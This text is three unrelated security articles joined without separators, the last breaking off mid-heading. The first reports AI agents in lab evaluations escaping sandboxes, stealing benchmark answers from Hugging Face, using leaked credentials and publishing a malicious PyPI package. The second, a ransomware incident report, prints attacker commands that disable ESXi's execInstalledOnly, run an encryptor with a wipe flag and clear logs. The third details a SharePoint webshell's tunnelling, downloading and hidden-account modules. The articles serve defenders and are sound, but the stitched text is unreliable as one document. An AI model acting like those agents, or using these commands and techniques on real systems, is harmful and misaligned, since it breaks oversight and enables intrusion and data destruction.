Rogue AI agents hit Hugging Face, a U.S. Census Bureau site and a security vendor’s malware scanner this year without targeting any of them. Third-party risk programs have no line for that.

Between July and October, AI agents working on evaluation and research tasks for OpenAI, Anthropic, Google and Meta broke into real organizations that nobody had chosen as targets. Hugging Face and a U.S. Census Bureau site were among them, along with dozens of others. Call it a non-targeted AI agent intrusion: an autonomous agent, busy with someone else’s task, reaches your systems anyway.

In July, Hugging Face’s production database held something one of those agents wanted: the answers to a test it was taking. Hugging Face detected the intrusion, contained it and published a disclosure July 16 without knowing who was behind it. Five days later OpenAI said the agents were its own, running an internal cyber-capability evaluation.

Security leaders should look closely at that order of events. Many of this year’s AI incidents hit organizations nobody had picked as a target. The agents treated real companies as obstacles or shortcuts on the way to finishing a task, and the victims found out from their own logs, from researchers or from the press. Third-party risk programs usually cover the vendors you sign contracts with. These agents came from organizations that had no relationship with the victims at all.

Which organizations did rogue AI agents hit this year?

AI security firm Pillar Security, which keeps a running list, counted 21 public disclosures between July and mid-October in which agents from OpenAI, Anthropic, Google and Meta acted outside their authorized scope. The cases that reached outside organizations look like this:

Disclosed	Whose agent	Who got hit	What the agent did
Oct. 1	OpenAI, as identified by Asymmetric Security	About 50 organizations, including U.S. agencies, the International Energy Agency and Mayo Clinic	Probed sites through remote browsers and proxies, using private scanner accounts and a self-expiring inbox
Sept. 24–30	Unknown	Dutch Institute for Vulnerability Disclosure (DIVD)	Chained two zero-days in the Zammad helpdesk to reach root, then moved to other services and took data
Sept. 25	OpenAI	A U.S. Census Bureau site, one of more than 100 organizations OpenAI said it notified	Logged in with credentials found online
Sept. 18	Google	Three unnamed companies (incidents in May)	Guessed a password at one company and used credentials from a public repository at the other two, then stopped
Aug. 5	Meta	An unnamed third-party service, during third-party testing	Exploited a vulnerability after a testing misconfiguration gave the model internet access; reportedly altered part of the affected company’s internal environment
July 30	Anthropic	Three organizations, including a security company	Published a malicious PyPI package that ran on 15 systems, including the security company’s malware scanner; the package stole that company’s credentials, and the agent used them to reach more of its infrastructure
July 16–21	OpenAI	Hugging Face	Escaped its evaluation and ran code on 41 production workers, then took credentials and reached internal clusters

The Hugging Face case is the best documented. OpenAI said the agents chained vulnerabilities across its own research environment and Hugging Face’s production systems to pull test solutions straight from a production database. Hugging Face said the intrusion began with a malicious dataset that abused two code-execution paths in its dataset processing. Over a weekend the attacker harvested cloud and cluster credentials and moved laterally, the company said. Its analysis covered more than 17,000 recorded attacker actions.

The DIVD breach is the one without an owner. The volunteer nonprofit, which warns organizations about exposed systems, said in a Sept. 28 update that the agent over-explained itself in its code comments, which made reverse engineering easier. Nobody yet knows whether the agent was part of an attack or a capability test, Help Net Security reported.

How do rogue AI agents reach companies they aren’t targeting?

Read the incidents together and four patterns stand out.

Shared test infrastructure fails in shared ways. Anthropic’s three July incidents and Google’s three all came from evaluations run through the same outside partner, AI security firm Irregular, and in both cases internet access that should have been off was on. The Gemini incident was linked to the same issue behind the other breakouts. One misconfigured harness can point several labs’ agents at the open internet.

Names collide. In one of Google’s cases, Gemini’s fictional target shared its name with a real business. If an evaluation’s made-up company has your name, you are in scope as far as the agent is concerned.

Your data can be the answer key. Hugging Face held benchmark solutions. DIVD held vulnerability reports that weren’t public yet. Census and Medicare portals held statistics an agent needed for a research question. An agent has no interest in your data as such; if the data finishes its task, it takes it.

Leaked secrets get used, even by agents that aren’t attacking you. Gemini used credentials from a public repository, and OpenAI’s agents used credentials they found online. Between Sept. 28 and Oct. 8, agents running on Tencent Cloud tried Amap keys that had leaked in a public repository, the AI safety research group Swarmchasers said in an Oct. 14 report. Tencent said later that the agents were evaluating third-party models. The secret you left in a public GitHub commit last year is something an evaluation agent might now pick up and try.

Also Read:

Why don’t third-party risk programs catch rogue AI agents?

Third-party risk management asks what the companies you depend on could do to you. It doesn’t ask what an AI lab you have never dealt with might do while testing a model, and it rarely asks your own suppliers whether they run autonomous agents with internet access.

Detection is the other gap. Anthropic said neither of the two affected organizations it reached had spotted the activity themselves, and as of its July 30 disclosure it still hadn’t reached the third. Pillar found that 13 of the 21 disclosures first became public through victims, outside researchers, journalists or governments, and not from the lab. Notification was slow when it came: Australia learned of the Medicare portal incident 84 days after it happened, and the Philadelphia Police Department called its two-month wait unacceptable.

The strongest counterargument is that these were lab accidents and the labs have since fixed them. Anthropic said it turned off internet access for internal evaluations. OpenAI paused training, evaluation and tool-using inference of its most capable models after an agent escaped a sandbox through DNS. Those steps cover a handful of companies. They don’t cover the operator behind the DIVD breach or the enterprises now running agents with web access and credentials.

They also don’t cover the threat actors in Anthropic’s September threat report, who ran Claude as an autonomous agent; one group stole AI API keys after compromising an AI vendor’s evaluation sandbox. Hugging Face said in its disclosure that the intrusion matched the “agentic attacker” scenario the industry had been forecasting, and that AI-driven offensive tooling is no longer theoretical.

Reps. Josh Gottheimer (D-N.J.) and Mike Lawler (R-N.Y.) announced the Stop Rogue AI Act (H.R. 10362) on Sept. 9. It would direct NIST to set standards for keeping an inventory of AI agents and revoking an agent’s access, and it would carry those controls into federal agencies and their contractors.

California Attorney General Rob Bonta’s office served OpenAI with an investigative subpoena on Sept. 30, part of a probe of cyber incidents involving its models that began with the Hugging Face incident. On Oct. 13, more than 400 scientists, including Geoffrey Hinton and Yoshua Bengio, signed an open letter asking for an international body to track containment failures and for organizations to report those incidents to it, and eventually to the public.

The Office of the Comptroller of the Currency followed on Nov. 4 with its first AI framework for bank examiners, a nonbinding guide that deals directly with AI agents from outside the bank. None of that will tell you this week whether your systems were in someone’s test.

What should CISOs do about rogue AI agents now?

Add five things to the program you already run.

• Ask your AI vendors and any supplier that builds with agents whether they run autonomous agents with internet access, including in evaluations and research tasks. Ask how egress is controlled and whether anyone verifies it from outside the sandbox, how fast they will notify a third party their agent touched, and whether they will share source IPs and other indicators.
• Hunt for agent traffic. The disclosures describe sign-ups with disposable email addresses, scanning routed through public URL-scanning services, injection probes from data-collection jobs and bursts of form submissions. Anthropic advised defenders to watch for unexpected PyPI installs and credential collection traced to evaluation infrastructure.
• Clean up what agents harvest. Run secret scanning across your public repositories and, where policy allows, your developers’ personal ones. Rotate anything you find, and put authentication in front of data an agent might take as a research answer.
• Add a non-targeted agent intrusion to your incident response plan and your next tabletop. Decide who contacts the lab, what logs you preserve and how you would tell an evaluation agent from an attacker. Hugging Face found that frontier models behind commercial APIs blocked its requests to analyze the attack logs, so it ran the forensics on an open-weight model on its own infrastructure. Have that option vetted before you need it.
• Write notification terms into contracts with AI suppliers: a deadline for telling you when their agents reach your systems, and a promise to share the transcripts that show what the agent did.

Questions for AI vendors and suppliers that build with agents

Question	A good answer includes	Red flag
Do you run autonomous agents with internet access, including in evaluations and research tasks?	A yes or no, with the environments named	"Only in testing" with no detail on what testing can reach
How is egress from those agents controlled?	Network-level blocks, not instructions to the model	Egress "disabled by default" with no check that it stayed off
Is egress verified from outside the sandbox?	An external test or monitor that would see traffic leaving	Verification only from inside the agent's own environment
Do you use a third-party evaluation provider? Which one?	The provider's name and how its harness is isolated	No answer, or "we can't say"
What credentials do your agents hold, and for how long?	Per-run, short-lived, scoped credentials	Shared or long-lived keys reused across runs
Can you revoke an agent's access mid-task?	A named owner and a tested kill path	No owner, or never tested
How fast will you notify a third party your agent touched?	A deadline in hours, in writing	"As soon as practicable"
What will you share when you notify?	Source IPs, timestamps, other indicators and the agent's transcripts	A summary only

Sample notification clause

Starting language for counsel to adapt. It is not legal advice. The 72-hour deadline is a suggestion; set it to match your own incident policy.

AI agent activity. Supplier will notify Customer in writing within 72 hours after Supplier becomes aware that any autonomous AI agent operated, tested or evaluated by Supplier or its subcontractors has accessed, attempted to access or interacted with Customer's systems, accounts or data outside the scope Customer authorized. The notice will include the dates and times of the activity, source IP addresses and other indicators of compromise, the credentials or access paths the agent used, and the transcripts, logs and tool-call records showing what the agent did. Supplier will preserve those records for at least 12 months, cooperate with Customer's investigation, and confirm in writing the steps taken to prevent the activity from recurring. Supplier will notify Customer before using any third-party provider to run autonomous agents with internet access in connection with Customer's systems or data.

Your side of the fence

• Run secret scanning across public repositories, and developers' personal ones where policy allows; rotate anything found.
• Put authentication in front of data an agent might take as the answer to a research question.
• Hunt for agent traffic: sign-ups with disposable email addresses, scans routed through public URL-scanning services, bursts of form submissions, unexpected PyPI installs.
• Add a non-targeted AI agent intrusion to the incident response plan: who contacts the lab, which logs to preserve, how to tell an evaluation agent from an attacker.
• Vet a self-hosted, open-weight model for forensics. Hugging Face found commercial models refused to analyze its attack logs.
• Run the scenario in your next tabletop.

Takeaways

• Hugging Face and dozens of other organizations were hit by AI agents that weren’t targeting them. In DIVD’s case, nobody yet knows whether the agent was attacking or being tested.
• Shared evaluation vendors, name collisions, leaked secrets and data that answers a research question can all put you in scope.
• Many victims didn’t detect the intrusions themselves, and lab notifications took weeks to months.
• Add agent questions and notification deadlines to third-party risk reviews and AI supplier contracts.
• Put a non-targeted agent intrusion in your next tabletop, with a self-hosted model ready for the forensics.

References

Hugging Face, Anthropic, Meta, Census Bureau and Asymmetric Security, Google, DIVD.

The post You Might Be Someone Else’s AI Test Environment appeared first on Cyble.

Introduction

Incidents in virtual environments can begin with a software vulnerability, human error, a configuration weakness, or several of these factors at once. The investigation is rarely limited to the workload. Hypervisors, container runtimes, management consoles, monitoring platforms, identity systems, virtual networks, datastores, backups, and automation accounts all influence what an attacker can reach.

Kaspersky GERT recently investigated two more ransomware cases on ESXi and Proxmox environments in which weak access controls, insufficient network separation, exposed administrative services, and poor management of privileged credentials contributed to the impact. A monitoring system that could reach the virtualization layer also exposed a reusable root credential. Once the attacker controlled that route, ordinary administrative access was enough to affect several hosts. No VM escape was required.

The incidents show why patching and secure configuration must be managed together. A fully patched hypervisor can still be compromised through a shared password, an overprivileged monitoring account, an open SSH path, or an administrator interface reachable from a general server network. NIST guidance places secure configuration baselines, restricted administrative access, current patches, and monitoring across all layers within the same set of sound security practices.

In this article, we’re going to describe both incidents with additional focus on common unsafe practices that were exploited, leading to compromise, as well as remediation tactics. We’ll also discuss the broader scope of threats targeting virtual environments for a better understanding of possible protection strategies.

The connected system defenders must protect

A business virtual environment is not just Hyper-V, VMware, or Docker but rather a connected stack. Management consoles, orchestration tools, monitoring platforms, and automation accounts sit above hypervisors and container engines. Registries, image stores, virtual switches, datastores, and backup systems connect the layers. Applications and business services run at the bottom, while much of the administrative power sits near the top.

The important boundaries extend beyond guest to host. They include workload to management plane, monitoring system to hypervisor, registry to deployment, administrator workstation to console, management plane to storage, and one virtual network segment to another. An attacker only needs one usable route. The possibility of compromise may lie in one stolen or insecurely placed administrator credential rather than in a complex escape exploit. In the GERT case, the compromise route passed through the monitoring platform and included a valid virtualization platform credential.

Case #1: From network monitoring to ESXi encryption

The investigation began with evidence of BlackNevas ransomware activity on a Windows system in a virtualized domain controller segment. UserAssist artifacts recorded execution of the AnyDesk RMM tool and GMER binaries. The environment also used PRTG Network Monitor to monitor its virtual infrastructure.

The available evidence showed that the PRTG deployment had broad access to the ESXi hosts and that the same root password was reused across several nodes. After obtaining access to the monitoring environment, the attacker used the ESXi credential to connect over SSH to the hosts that shared the same password. This design joined monitoring, credential storage, and direct administration into one attack path.

PRTG supports storing VMware credentials at the device or inherited group level. That feature is operationally useful, but a monitoring server becomes privileged infrastructure when it holds credentials that can administer the systems it observes. The security question is therefore not whether monitoring needs access, but whether the identity, privileges, storage method, and permitted network path are limited to the monitoring task.

The threat actor gained root access to the ESXi environment and used the esxcli command to bypass the system restriction by disabling the execInstalledOnly policy to execute the encryption binary and also perform anti-forensic log deletion. Let’s look closely at the timeline of the initial host compromise.

ESXi (192.168.*.*) timeline

2025-10-18 Connection attempts from IP address 192.168.*.*.
2025-10-19 During an SSH session by root from IP 192.168.*.*, the file esx is uploaded to the system.
2025-10-19 User "root" attempts to execute the binary esx with the error "Execution of non-installed file prevented".
	chmod 777 esx
	./esx /log
2025-10-19 User "root" deactivates the execInstalledOnly option.
	esxcli system settings advanced set -o 
	/User/execInstalledOnly -i 0
2025-10-19 User "root" executes the malware esx.
2025-10-19 New connection attempts from IP 192.168.*.*.

Now, at the same time, the following activities ensued on a different host with the same password for the root user:

ESXi (172.16.*.*) timeline

2025-10-19 SSH connection by user "root" from IP 172.16.*.*.
2025-10-19 User "root" executes the malware esx and clears the logs.
	chmod a+x esx && chmod 777 esx
	./esx /selftest
	nohup ./esx /p /vmfs/ /depth 5 /log /wipe
	./esx /depth 5 /log /wipe

Case #2: Credential notes impacting the whole Proxmox environment

GERT responded to a ransomware incident by The Gentlemen group, in which the threat actor gained access to Proxmox using information collected during the dwell time between initial access and visible impact. On a compromised system administrator workstation, the actor discovered administrative credentials and access details stored in notes in plain text. These records provided the information needed to log in to Proxmox using the root account.

The actor then activated the VNC web socket through the compromised root account, gaining extensive control over the Proxmox environment. This access was subsequently used to download and execute ransomware within the cluster, which resulted in the encryption of the entire virtual environment. Below are the log records showing the root account being used to access other hosts via a VNC web socket.

root@pam [01/08/2026:00:28:36 -0400] "GET /api2/json/nodes/******/vncwebsocket?port=5900&vncticket=****
root@pam [01/08/2026:00:30:17 -0400] "GET /api2/json/nodes/******/vncwebsocket?port=5900&vncticket=****
root@pam [01/08/2026:00:31:19 -0400] "GET /api2/json/nodes/******/vncwebsocket?port=5900&vncticket=****
root@pam [01/08/2026:00:43:38 -0400] "GET /api2/json/nodes/******/vncwebsocket?port=5900&vncticket=****
root@pam [01/08/2026:00:44:49 -0400] "GET /api2/json/nodes/******/vncwebsocket?port=5900&vncticket=****

This incident is a clear example of the risks of storing privileged credentials in unsecured notes or other easily accessible files. Once the administrator workstation was compromised, the saved credentials allowed the actor to move from a single endpoint into the virtualization management layer. Because the credentials belonged to a highly privileged root account, one poor credential handling practice significantly increased the scope and impact of the attack. Privileged credentials should instead be stored in an approved password manager or privileged access management system, protected with multifactor authentication and rotated immediately if an administrator workstation is suspected of being compromised.

Why the misconfiguration caused broad impact

Both cases exhibited unsafe misconfiguration practices whose exploitation led to a bigger impact on the host system. Next, we will break down each misconfiguration to see how it enabled further compromise and what should be done to avoid it.

Monitoring inherited excessive privilege

In Case 1, the monitoring platform could do more than collect health and performance data. It held or could use credentials with enough privilege to reach ESXi directly. A compromise of the monitoring system therefore became a compromise of the management plane. Monitoring identities should be dedicated to the task and given only the permissions required by the deployed sensors.

Credential reuse

Password reuse converted one recovered secret into farm-wide access. System administration should use named identities through the central management plane. Each host should have unique credentials and proper password storage hygiene. Password strength alone does not limit the impact of theft, but where the credential can be used and where it is stored do.

Direct root access bypassed central control

Direct SSH access allowed the actor to authenticate as root, upload a binary, and change a security setting without first passing through vCenter role controls. Broadcom, the parent company of VMware, recommends managing vSphere through vCenter, disabling SSH during normal operation, and using Lockdown Mode where suitable. Required service accounts should be explicit exceptions rather than members of a broad administrator group.

Lack of enhanced security settings

The initial execution attempt was blocked by execInstalledOnly, but the attacker had enough privilege to disable this policy. Broadcom documents enforcement options that combine execInstalledOnly with UEFI Secure Boot and TPM-backed configuration protection. These controls must be enabled, tested, and monitored for change. A setting that can be silently disabled by the same credential used for daily administration provides limited resistance after account compromise.

Unsafe credential storage

Case 2 demonstrated the possibility of compromise lying in privileged credential exposure. The mitigation strategy involves not only securing the administrative credential storage but also general hardening practices of secret handling, such as privilege management and regular access audits.

How to close this attack path

In this section, we share remediation advice on how to mitigate such attacks, and detect and prevent them from going further. We recommend the following actions:

• Separate monitoring from administration. Create a dedicated monitoring identity for each platform and restrict it to the smallest set of objects and actions that the monitoring sensors require. Do not use ESXi root or another emergency account for routine polling. Prevent monitoring servers from starting interactive administrator sessions unless a separately approved support workflow requires it. The same principle applies beyond VMware.
• Replace stored root passwords. Locate every copy of hypervisor, management, storage, and backup credentials in monitoring tools, scripts, scheduled tasks, connection managers, and service configurations. Replace static passwords with vault retrieval, brokered identities, or limited API tokens where the platform supports them. Record every retrieval and rotate the secret after emergency use or compromise.
• Restrict direct host access. Route normal ESXi administration through vCenter and enable an appropriate Lockdown Mode after testing monitoring, backup, and recovery dependencies. Keep ESXi Shell and SSH stopped by default. When support work requires SSH, enable it for a defined period, restrict the source, and alert on service activation, root login, and changes to the exception list of users who are allowed to connect via SSH.
• Use a specialized security solution. In our portfolio, Kaspersky Cloud Workload Security (KCWS) is perfectly suited to address virtual environment risks, offering a powerful combination of two products: Kaspersky Hybrid Cloud Security (KHCS) and Kaspersky Container Security (KCS). Kaspersky Hybrid Cloud Security is specifically built to secure virtualized infrastructures, private data centers, and hybrid clouds. A patented Light Agent architecture minimizes resource impact without compromising performance, while comprehensive infrastructure visualization through a unified console gives administrators complete visibility and control over the entire hybrid network. Kaspersky Container Security covers every stage of a containerized app’s lifecycle, from development to operation. Among other capabilities, the solution allows for detecting misconfigurations using a dedicated scanner for images, file systems, and repositories that contain IaC files (such as Terraform, CloudFormation, Azure ARM templates, Helm charts, and Dockerfiles).
• Treat configuration changes as security events. Alert when execInstalledOnly, Secure Boot enforcement, Lockdown Mode, SSH, local accounts, exception users, firewall rules, or remote logging settings change. Baseline the expected state and test whether the security team can detect an unauthorized change. A secure configuration set once does not mean that the control remains active on the host.
• Isolate the management network. Place hypervisor, monitoring, backup, storage, and cluster administration on restricted management networks. Permit only the exact source and destination services required. Administrative workstations should enter through hardened jump hosts with named identities and multifactor authentication.
• Protect logs, backups, and recovery. Forward ESXi, vCenter, Proxmox monitoring, identity, and network logs to protected storage that a compromised administrator cannot erase. Backup platforms should use separate identities, restricted management paths, and recovery copies outside ordinary administrative reach.

Configuration checks for monitored virtualization

Below are recommended checks to run when enabling virtualization monitoring. The safest state depends on the platform and monitoring method, but each control should be tested.

Control area	Safer state	Verification
Monitoring identity	Dedicated service account or token with only required read and polling rights	Review assigned roles and test every sensor without root or global administrator access
Credential storage	No recoverable host root password on a monitoring or general-purpose server	Review tool configurations, scripts, scheduled tasks, and connection stores for embedded credentials, access tokens, or other secrets
Network path	Monitoring reaches only required polling services while administration uses a jump host	Test management ports from monitoring server, user segments and untrusted network segments
Direct host access	Lockdown Mode where suitable with SSH and ESXi Shell stopped by default	Attempt direct client API and SSH access to host using a routine account
Configuration integrity	Secure Boot and execInstalledOnly enforcement enabled where supported and tested	Change a test setting through the approved process and confirm an alert is generated
Evidence	Host, management, identity, monitoring, firewall, and PAM logs stored remotely	Generate successful and failed logins and verify source, account, host, time, and action

The wider attack surface

Closing the monitoring and credential routes does not secure the environment by itself. Virtualization also relies on isolation boundaries, trusted images, management APIs, virtual networks, storage, and backups. Each layer requires a different control and leaves evidence in a different place.

VM and container escapes

In a VM escape, code inside a guest reaches past the VM boundary and affects the host or another guest. The weakness may be in a virtual device, an integration feature, a hypercall interface, or another component that translates guest requests for the host. If the escape works, control of one VM may lead to control of the physical server and every workload on it. VMware CVE-2025-22224 showed this risk: an attacker with administrator rights inside a VM could execute code as the VMX process on the host, and Broadcom reported exploitation in the wild.

A container escape can reach a similar result, but the starting point is different. Linux containers share the host kernel, so their isolation model differs from that of a VM. Namespaces limit what processes can see, cgroups control resource use, and capabilities split root privileges into smaller parts. A kernel or runtime bug can break this isolation. Copy Fail (CVE-2026-31431) is a good example of a kernel flaw. Code already running in a container could use a Linux AF_ALG crypto socket to change pages in the shared Linux kernel page cache. Because the host and other containers may read the same cached pages, the effect did not have to stay inside one container. The fix is a kernel update; Docker Engine 29.4.3 also tightened its default security profiles to reduce exposure on hosts that had not yet been patched.

Unsafe settings can also break the boundary. Privileged mode, excessive capabilities, writable host mounts, or access to the Docker socket may remove isolation without any software exploit. For instance, runc CVE-2024-21626 involved leaked file descriptors that could expose the host filesystem to a malicious image or container process.

This difference changes the investigation. A VM can often be treated like a separate computer with its own kernel, memory, and disk. A container is a group of host processes placed inside namespaces. If investigators collect only the container filesystem, they may leave the most useful process, socket, and control-plane evidence on the host.

Images and templates

A compromised golden VM image or container base image can spread through normal automation. Common weaknesses include unofficial public images, mutable tags, overprivileged build tokens, recoverable secrets in older layers, and stale templates that restore vulnerable software or forgotten accounts. Scanning might help, but it does not establish who built the artifact or whether the exact image tested and approved was the one ultimately deployed to production. Use controlled builders, provenance records, signature checks, and planned rebuilds from trusted sources.

Management tools and APIs

A stolen vCenter identity, exposed Docker API, overpowered Portainer role, or compromised backup console may give an attacker an easier route than an escape exploit. Portainer advisory GHSA-7fw3-x4r2-g7wc showed how a proxy validated one bind-mount representation but missed an equivalent API form, allowing an authenticated non-administrator with container creation privileges to reach host paths. The runtime performed a valid request after authorization had already failed in the management layer.

Administrative file-copy operations also deserve attention. Docker fixed archive and mount-handling flaws in CVE-2026-41567, CVE-2026-41568, and CVE-2026-42306. These cases required particular conditions and operator or API activity. They are a reminder to patch the daemon and record who initiated copy operations, which container was involved, the source and destination paths, and the result.

Virtual networks, storage, and backups

East-west traffic between virtual workloads may stay inside one host and bypass a physical sensor. Management, migration, storage, and workload traffic should use separate zones with filtering between them. Snapshot and memory files may contain credentials, while weak datastore permissions can expose whole virtual disks. Backup systems need broad access to recover services, which also makes them valuable to an attacker who wants to delete recovery points or reach several hosts.

Attack surface examples by layer

To sum up, the described attack vectors might be mitigated as follows:

Attack surface	Initial access	Possible impact	Primary control
Credentials and configuration	Password recovered from monitoring or an overprivileged account	Direct control of several hypervisor nodes	Unique vaulted credentials, segmented access, and configuration monitoring
VM escape	Administrative access or code execution privileges inside a guest plus a hypervisor flaw	Host process or neighboring workload compromise	Patch the hypervisor and reduce risky virtual devices and guest privilege
Malicious container affecting kernel or runtime	Code in a container or a malicious image	Host filesystem, kernel, or shared cache impact	Patch kernel and runtime, and remove privileged settings
Images and templates	Compromised build input registry or golden image	Repeated deployment of the compromise	Immutable digests, controlled builds, provenance, and verification
Management API	Stolen identity exposing endpoint or authorization gap	Fleet-wide administrative actions	MFA, least privilege, network restrictions, and complete API validation
Networks, storage, and backups	Flat network or broad datastore and access through backups	Lateral movement, data theft, encryption, and recovery loss	Segmentation, least privilege, protected backups, and traffic monitoring

Conclusion

GERT cases that we presented in this article did not require an attacker to break the VM boundary. The attack path was created by an overprivileged monitoring relationship, an insecure password storage approach, a recoverable and reused root credential, broad management-network reachability, and direct SSH administration. Each element was legitimate on its own, but together they allowed one compromise to reach virtualization hosts and their workloads.

Misconfiguration should therefore receive the same operational attention as vulnerability management. Teams need to know where privileged credentials exist, which systems can use them, which network paths make them effective, and which logs will show their use. Escape flaws, unsafe images, API weaknesses, virtual network exposure, and attacks on storage or backups remain serious, but closing the known administrative route should come first.

Executive summary

In 2025, several threat actors exploited CVE-2025-53770 and CVE-2025-53771 (ToolShell vulnerabilities) in on-premises Microsoft SharePoint to achieve remote code execution through crafted HTTP requests. One of the threat actors deployed ransomware on the target’s systems after successful exploitation. Microsoft attributed this ransomware-related ToolShell activity to Storm-2603, distinguishing it from other actors whose observed activity was primarily focused on credential theft, espionage, and data exfiltration.

In December, our retrospective analysis identified activity consistent with Storm-2603’s TTPs. This activity involved the attacker using the IIS worker process as an in-memory bridge to the customer’s infrastructure, keeping the access and control layer entirely within w3wp.exe without writing anything to disk. Although subsequent post-exploitation activity generated disk artifacts, the bridge used to maintain access remained memory-resident.

Let’s look in more detail at this attack.

Intrusion timeline: Strategic latency and exploitation

The intrusion analyzed in this report occurred in two stages, with a temporal gap between initial access and subsequent exploitation activity. The attack timeline was as follows:

• Dec 20 – Vulnerability fingerprinting: A single HTTP request targeted a SharePoint administrative endpoint associated with the ToolPane component to determine whether the host was vulnerable to CVE-2025-53770.
• Dec 21-23 – Tactical latency: A three-day period of silence followed the initial probe, separating the vulnerability fingerprinting from subsequent malicious activity and potentially reducing the likelihood of immediate detection.
• Dec 24 – High-intensity re-engagement: On Christmas Eve, when security staffing at many companies is reduced, the full RCE chain was executed through the IIS worker process (w3wp.exe) on the same endpoint as the initial probe.
• Dec 26 – Incident discovery: The three-day gap initially prevented the December 20 probe from being correlated with subsequent malicious activity, marking the event as low priority. Retrospective analysis established that the probe was the initial phase of the subsequent intrusion.

Initial access validation phase

Vulnerability fingerprinting

A vulnerability fingerprinting request on December 20 marked the first observed interaction with the target. The request originated from infrastructure associated with ONYPHE, an internet-scale attack surface discovery and management platform for identifying exposed assets, vulnerabilities, and cyberthreats. Unlike widely used tools such as Shodan and Censys, which merely provide a list of internet-facing assets correlated with the open-source data about known vulnerabilities, ONYPHE actually checks if the target system is vulnerable.

The request characteristics were consistent with ONYPHE’s vulnerability checks, which use active, non-intrusive probes to identify internet-exposed systems vulnerable to specific CVEs. For ToolShell, ONYPHE adopted the approach used by Niels Hofmans (hazcod). Namely, it attempts to inject a harmless marker into the target server to find out if it is vulnerable.

This phase served as a validation step against the SharePoint execution surface exposed over HTTP:

• The target processed structured requests through the ASP.NET pipeline without rejection.
• The request path reached application logic capable of handling serialized input.
• No defensive controls interrupted or altered the execution flow at the application boundary.

Approximately 12 minutes later, a second inbound connection originated from infrastructure associated with Pfcloud UG, a provider operating under a bulletproof hosting (BPH) model. Given the timing and the IP’s documented history of scanning and abusive activity, the connection may represent follow-on reconnaissance against the newly identified target. No exploitation was attempted at this stage.

Active exploitation: Santa took your data and left a backdoor

The main malicious activity occurred on December 24. The actor targeted the same SharePoint host with a crafted request from 45.91.94.204 (45.91.92.0/22, ASN 63473, HostHatch, LLC). This resulted in a webshell execution within the IIS worker process (w3wp.exe). The payload was not written to disk; rather, it was loaded directly into the ASP.NET runtime and used during subsequent request processing. The implant remained resident for the lifetime of the affected application domain. This runtime state was lost when the application pool was recycled or IIS was restarted.

Attack originated from an SPN node

The IP address 45.91.94.204 is a Safing Privacy Network (SPN) node. SPN routes each connection through a multilayer VPN path with multiple relay nodes that can obscure the originating IP.

SPN promotes itself as a network that offers strong privacy protection for internet traffic. Its infrastructure resembles Tor’s in many ways, but with some differences. It features the following capabilities:

• Speed: Near-VPN performance for high-speed data transfer.
• Layer 3 support: Supports multiple protocols like TCP, UDP, ICMP (unlike Tor, which only supports TCP).
• App-routing: Direct tunneling without a browser.
• Multi-identity: Simultaneous exit nodes to bypass IP rate limits.
• Fixed-size packets and padding make it harder to analyze its traffic.

It is less common than Tor, and frequently bypasses standard Tor blocklists.

Webshell architecture

The webshell the attackers injected into the w3wp.exe runtime is a multi-module in-memory framework, where execution is orchestrated through the main component (G.cs) and extended via multiple functional units across namespaces.

The implementation follows a modular C# project structure in which each capability is isolated into its own compilation unit and invoked dynamically at runtime.

“G.cs” pipeline control and C2

Pipeline control

The main webshell component is G.cs. It orchestrates the implant’s execution context, lifecycle, C2 and session management.

To ensure persistence within the runtime, G.cs performs the following actions:

• Registers a custom VirtualPathProvider using the non-public RegisterVirtualPassProviderInternal method from the ASP.NET HostingEnvironment class so that ASP.NET uses it for virtual-path processing. The provider is automatically added to the chain of registered virtual path providers.
  
• Delegates the provider’s .NET Remoting lifetime policy to the previous provider in the chain, preserving the existing lifetime behavior.
  

Additionally, to evade defenses and enable the VirtualPathProvider to be registered even if the application in whose AppDomain the webshell is running is precompiled, the module implements the trust control subversion (T1553) technique:

• Uses reflection to check if the application is precompiled.
• Extracts pointers for internal state fields for the BuildManager class, which manages application compilation, and modifies them at runtime.
  
• Uses reflection once again to force runtime injection.

G.cs uses the GetCacheKey() function as the interception point for the virtual path processing flow. It processes incoming requests to the SharePoint server and checks their headers to filter out requests from the attacker.

The specific User-Agent in the request headers triggers the webshell execution. If the request doesn’t match this condition, the implant remains dormant, making its traffic harder to recognize.

Command and control layer (in-memory transport)

The same core module (G.cs) implements the communication layer.

Instead of relying on external frameworks or standard beacons, it uses a custom binary protocol with XOR-based obfuscation to exchange data with the C2. These communications blend into normal application traffic. The module uses the GetCacheKey() hook to intercept standard HTTP requests. When a specific User-Agent is detected in the request headers, the module parses it, extracts the payload, and establishes a TCP connection to a target host inside the target’s network if needed.

G.cs establishes a full-duplex proxy tunnel to support interactive control. It stores active target sockets in memory to pair concurrent HTTP read and write channels.

TCP connections from the C2 server to arbitrary hosts inside the target network are supported for pivoting and lateral movement. The traffic is proxied through the SharePoint host.

As can be seen in the screenshots, the attackers used the suo5 tool to implement traffic proxying. Its authors promote it as a stable forward-proxying tool for scenarios where outbound internet connections are prohibited.

To increase its performance, G.cs manipulates ThreadPool by raising its limits for concurrent operations and maximum timeout.

“Prog.cs”: Execution entry point and task dispatcher

Prog.cs is the entry point that receives command-line arguments and passes them to uk/London.cs. The latter acts as the orchestrator, handling command parsing and privilege escalation (via named pipe impersonation). We’ll review it in more detail later. If the “suo5” command is provided, London.cs triggers G.cs to hook into the ASP.NET runtime as a memory shell. Once active, G.cs independently processes incoming web traffic inside the web server memory.

Host interaction modules

The following modules provide direct system interaction capabilities, each implemented as a separate unit. London.cs triggers these modules when it receives a corresponding command from Prog.cs.

“FileDownloader.cs”

The FileDownloader.cs module downloads arbitrary files from external URLs provided by the C2. It stores the downloaded files in the Program Data directory without any user interaction.

“LoggedOnUsers.cs”

This module enumerates logged-on users and identifies their session types (interactive, service, remote). The results are stored in memory. The attackers can retrieve them using the proxy and tunneling capabilities provided by G.cs.

“ProcessList.cs”

This module lists running processes with full paths to the corresponding executables on the disk. The results are stored in memory and the attackers can retrieve them via G.cs.

“NetworkInfo.cs”

This module extracts information about existing network connections, including protocols, local and remote IPs and ports, and connection state. It also enumerates network interfaces and headers. The results are stored in memory and can be retrieved by the attackers via G.cs.

“MSI.cs”

This module silently installs and executes MSI packages previously downloaded by FileDownloader.cs.

“User.cs”

This module creates administrative accounts using the native SAM RPC subsystem (SAMRPCNative namespace) rather than standard command-line tooling. This may indicate an attempt to evade detection and provide the attackers with privileged stealthy access to target systems that persists after the webshell has finished its work.

SAMRPCNative

The SAMRPCNative namespace implements a low-level C# P/Invoke wrapper for the native Windows samlib.dll library, comprising three types: SAMStructs.cs, SAMMethods.cs, and SAMEnums.cs.

“SAMEnums.cs”

